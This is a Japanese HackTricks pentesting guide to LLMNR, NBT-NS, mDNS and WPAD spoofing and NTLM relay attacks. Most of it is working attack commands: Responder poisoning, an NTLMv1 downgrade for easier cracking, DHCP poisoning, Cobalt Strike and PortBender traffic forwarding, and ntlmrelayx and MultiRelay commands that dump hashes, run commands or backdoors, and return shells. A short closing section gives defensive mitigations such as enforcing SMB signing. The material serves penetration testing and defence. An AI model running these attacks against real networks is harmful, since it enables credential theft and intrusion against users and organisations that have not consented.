22 KiB
LLMNR、NBT-NS、mDNS/DNSおよびWPADのスプーフィングとリレーアタック
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスウェグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitterで@hacktricks_liveをフォローする
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
ネットワークプロトコル
LLMNR、NBT-NS、およびmDNS
Microsoftシステムは、DNS検索が失敗した場合にローカルホストの解決にLink-Local Multicast Name Resolution(LLMNR)およびNetBIOS Name Service(NBT-NS)を使用します。Apple BonjourおよびLinuxゼロ構成実装は、ネットワーク内のシステムを発見するためにマルチキャストDNS(mDNS)を使用します。これらのプロトコルは認証されず、UDP経由でブロードキャストメッセージを送信するため、攻撃者はこれらを悪用してユーザーを悪意のあるサービスに誘導することができます。
Responderを使用して、ホストが検索するサービスを偽の応答を送信することで偽装することができます。
Responderを使用したサービスの偽装に関する詳細情報はこちらを参照してください。
WPAD
多くのブラウザは、Web Proxy Auto-Discovery(WPAD)を使用してネットワークからプロキシ設定を読み込みます。WPADサーバーは、次のいずれかを通じて特定のURL(たとえば、http://wpad.example.org/wpad.dat)を介してクライアントプロキシ設定を提供します。
- DHCP、コード252エントリを使用34
- ローカルドメインで_wpad_ホスト名を検索するDNS
- Microsoft LLMNRおよびNBT-NS(DNS検索が失敗した場合)
ResponderはWPAD攻撃を自動化し、プロキシを実行し、DHCP、DNS、LLMNR、およびNBT-NSを介してクライアントを悪意のあるWPADサーバーに誘導します。
プロトコルの毒入れ
Responder - LLMNR、NBT-NS、およびMDNS
ResponderはLLMNR、NBT-NS、およびMDNSの毒入れツールです。名前接尾辞に基づいて特定のNBT-NS(NetBIOS Name Service)クエリに応答します(参照:http://support.microsoft.com/kb/163409)。デフォルトでは、このツールはSMB用のファイルサーバーサービスリクエストにのみ応答します。
この背後にあるコンセプトは、私たちの回答をターゲットにすることであり、ネットワーク上でステルス性を持たせることです。これにより、合法的なNBT-NSの動作を壊さないようにするのにも役立ちます。
- Responderはkaliにデフォルトでインストールされており、構成ファイルは**
/etc/responder/Responder.conf
**にあります(ここでローグサーバーを無効にできます) - Responderは画面にハッシュを表示し、ホストごとに
/usr/share/responder/logs
ディレクトリにあるログファイルに書き込みます。ハッシュは(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
形式で保存されます - Windows用のResponderはこちらで見つけることができます
- Responderはipv4およびipv6で動作します
Responderパラメータ
Responderは以下のオプションをサポートしています:
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Poison all requests with another IPv6 address than
Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --DHCP Enable answers for DHCP broadcast requests. This
option will inject a WPAD server in the DHCP response.
Default: False
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
response, otherwise a WPAD server will be added.
Default: False
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective when combined with
-r. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
Responder パラメータ
-A
フラグは解析モードに入り、環境内の NBT-NS、BROWSER、および LLMNR リクエストを毒化せずに表示できます。- 必ずインターフェースまたは IP を指定する必要があります。
-wf
は WPAD ローグプロキシサーバーを起動します。-f
はリモートホストのオペレーティングシステムとバージョンを特定しようとします。- 追加のデータがコンソールに表示されるため、
-v
フラグを使用して冗長性を増やします。 -F
や-P
などのオプションを使用して NTLM または Basic 認証を強制したり、プロキシ認証を強制したりすることができますが、ログインプロンプトが表示される可能性があるため、慎重に使用する必要があります。-w
フラグは組み込みの WPAD プロキシサーバーを利用します。これは特に大規模な組織では非常に効果的であり、Internet Explorer を起動するユーザーが Auto-detect settings を有効にしている場合、すべてのユーザーの HTTP リクエストをキャプチャします。
Responder の実行
Responder のデフォルト動作を実行するには、次のコマンドを実行するだけです。
responder -I <Iface> #Default conf
responder -I <Iface> -P -r -v #More chances but might break things
日本語訳: 興味深いテクニックは、可能な限りResponderを使用してNTLM認証をダウングレードすることです。これにより、NTLMv2ではなく 簡単にクラックできるNTLMv1のチャレンジとレスポンスをキャプチャできますこのガイドに従って。
#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
responder -I <Iface> --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade
デフォルトでは、WPADの偽装は実行されませんが、次のように実行できます:
responder -I <Iface> --wpad
あなたのIPでNetBIOSリクエストを解決することもできます。そして、認証プロキシを作成します:
responder.py -I <interface> -Pv
NTLMハッシュを傍受することはできません(通常)、しかし、例えば--format=netntlmv2
オプションを使用してNTLMチャレンジとレスポンスを簡単に取得し、クラックすることができます。
デフォルトの_Responder_インストールのログとチャレンジは、kaliの/usr/share/responder/logs
にあります。
Responder - DHCPポイズニング
WindowsはNetBIOS、WINS、WPAD設定などのカスタムDHCPオプションを複数使用します。ワークステーションがネットワーク設定を取得するためにDHCPリクエストを送信するとき、これらの追加設定はDHCP応答に含まれ、簡単な接続と名前解決を容易にします。
DHCP応答をスプーフィングしても、ワークステーションのネットワーク構成に干渉するため、中断なしで行うことは難しい場合があります。通常、ターゲットサブネットワークのDNSサーバー、スイッチ、ルーティングテーブル、ドメイン、ネットマスク、DHCPサーバーなどについて非常に良い知識が必要です。これらの設定に誤りがあると、ネットワークに中断が発生します。
ただし、DHCP応答をスプーフィングすることには独自の利点があります。ARPポイズニングよりも確実にステルスです。ユニキャスト応答1つで被害者のルーティング情報を永久にポイズンすることができ、ネットワーク上で複数のDHCPサーバーが動作していることも一般的です。ユニキャストDHCP応答は検出がより複雑です。一部のスイッチはDHCPスヌーピングを防ぐためのセキュリティ設定を提供しますが、これらの設定は直感的ではなく、有効になっているときにしばしば誤って構成されています。
この攻撃は非常に効果的で、確実にNTLMv1/2ハッシュを取得できます。
./Responder.py -I eth0 -Pdv
Responder - 資格情報のキャプチャ
Responderは、言及されたプロトコルを使用してすべてのサービスを偽装します。これらのプロトコルを使用して解決されたサービスにアクセスしようとするユーザーがいると、彼はResponderに対して認証を試み、ResponderはおそらくNTLMv2チャレンジ/レスポンスを"キャプチャ"できます。
NetNTLMv1にダウングレードしたり、ESSを無効にしたりすることも可能です。
Inveigh - C#/PowerShell Responder
Inveighは、Windowsシステムに制限されているペネトレーションテスター/レッドチーマーを支援するために設計されたPowerShell ADIDNS/LLMNR/NBNS/mDNS/DNSスプーファーおよび中間者ツールです。
Inveighは、PowerShellスクリプトでしたが、現在は同じ主要機能を持つC#バイナリです。パラメータをリストアップし、使用方法の指示を示す[wiki]があります。
別のバージョンはInveighZeroで見つけることができます。
または、さらに多くのオプションを使用して実行します:
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
または、C#バージョンを実行します:
Inveigh.exe
NTLM Relay Attack
この攻撃は、内部ネットワーク上のターゲットマシンにSMB認証セッションを中継します。認証セッションが成功すると、自動的にシステムのシェルに移行します。中継される認証は、中継されるホストにローカル管理者アクセス権を持つユーザーからである必要があり、かつSMB署名が無効になっている必要があります。
445の転送とトンネリング
{% hint style="warning" %} もしネットワーク内にマシンを導入できる場合、以下のセクションのツールのいずれかを使用して中継攻撃を実行することができ、これについて心配する必要はありません。 {% endhint %}
ただし、レッドチームでは、Windowsマシンのポート445のトラフィックを自分のマシンに転送する必要がある場合があります。その際は、以下のツールを実行して、そのツールのトラフィックをプロキシを介して中継して内部の攻撃対象マシンに到達させる必要があります。
ツールPortBenderは、ポート445に向かうトラフィックを別のポート(たとえば8445)にリダイレクトするドライバです。ドライバをロードするにはローカル管理者アクセス権が必要です。ほとんどのWindowsドライバが配置される場所であるcd C:\Windows\System32\drivers
を使用するのが適切です。
Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Go to drivers dir
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Forward traffic to 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Send traffic to port 8445 to Team Server
beacon> socks 1080 # Socks proxy in port 1080 to attack host in the internal network from the Team Server
# To kill
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Metasploit
setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip
set SRVHOST <local_ip>
set SRVPORT 445
set SMBHOST <ip_to_auth_to>
run -j
smbrelayx
python3 smbrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
# By default it will just dump hashes
# To execute a command use: -c "ipconfig"
# To execute a backdoor use: -e "/path/to/backdoor
# Attack through socks proxy
proxychains python3 ntlmrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
MultiRelay
MultiRelayを使用したい場合は、_/usr/share/responder/tools_に移動し、MultiRelay (-t <IP target> -u <User>
)を実行します:
python MultiRelay.py -t <IP target> -u ALL # If "ALL" then all users are relayed
# By default a shell is returned
python MultiRelay.py -t <IP target> -u ALL -c whoami #-c to execute command
python MultiRelay.py -t <IP target> -u ALL -d #-d to dump hashes
# Use proxychains if you need to route the traffic to reach the attacked ip
NTLMログインの強制
Windowsでは、特権のあるアカウントを任意のマシンに認証させることができる場合があります。詳細については、以下のページを参照してください:
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}
解決策
LLMNRの無効化
DNSクライアントのLLMNRを無効にするには、gpedit.mscを開きます。
コンピューター構成->管理用テンプレート->ネットワーク->DNSクライアントに移動します。
オプション「マルチキャスト名解決を無効にする」を見つけ、「ポリシー設定」をクリックします:
新しいウィンドウが開いたら、このオプションを有効にし、適用を押してOKをクリックします:
NBT-NSの無効化
NBT-NSを無効にするオプションの1つは、DHCPスコープオプションを使用することです。
MicrosoftのDHCPサーバーを使用している場合は、NBT-NSを無効にしたいスコープを選択します。 「スコープオプション」を右クリックし、「オプションの構成」をクリックします。以下の例では、NBT-NSを無効にしたいDHCPスコープは192.168.1.100です。
スコープオプションウィンドウで、詳細タブに移動し、ドロップダウンメニューを「Microsoft Windows 2000 Options」に変更します:
リストから「001 Microsoft Disable Netbios Option」を選択し、その値を「0x2」に変更し、適用してからOKをクリックします:
WPAD
WPAD攻撃に対抗するために、DNSゾーンに「wpad」のエントリを追加できます。 DNSエントリは有効なWPADサーバーを指す必要はありません。クエリが解決されている限り、攻撃は防止されます。
マルチリレー
1. すべてのローカルWindowsマシンでSMB署名を強制する。この設定により、すべてのSMBセッションにデジタル署名が付けられ、クライアントとサーバーはパケットの送信元を確認してから継続する必要があります。この設定はデフォルトでドメインコントローラーにのみ有効です。Microsoftの以下の記事では、これらの設定(グループポリシーを介して有効にできる)とその実装方法について詳しく説明しています。
2. ローカルネットワーク上のユーザーが必要なマシンにのみリモートログインできるように確認する。例:SallyはSallyのワークステーションにのみログインできます。 SallyのSMB認証セッションを攻撃者が傍受した場合、このセッションを他のワークステーションに中継することはできず、この方法は無効になります。
3. ローカルネットワーク上でNTLM認証を可能な限り制限する。この攻撃はKerberos認証を利用できないため、発生しているNTLMの量を制限することで、この攻撃を大幅に阻止できます。Microsoftにはこれを実現する情報がありますが、注意してください。Kerberos認証が何らかの理由で失敗すると、通常はNTLMにフォールバックします。完全に無効にすると、ネットワークが停止する可能性があります。
4. ネットワーク上の不正なユーザーを防止する。インサイダーの脅威はおそらくSMBリレー攻撃を利用しないでしょう。ネットワークの物理的セキュリティポリシーを強化し、ACLとMACフィルタリングでネットワーク上の不正なデバイスを防止し、適切なネットワークセグメンテーションを確保することで、この攻撃が行われる可能性を大幅に制限できます。
参考文献
- https://intrinium.com/smb-relay-attack-tutorial/
- 画像提供元:
https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
https://intrinium.com/smb-relay-attack-tutorial/
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい、またはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手してください
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つけます
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。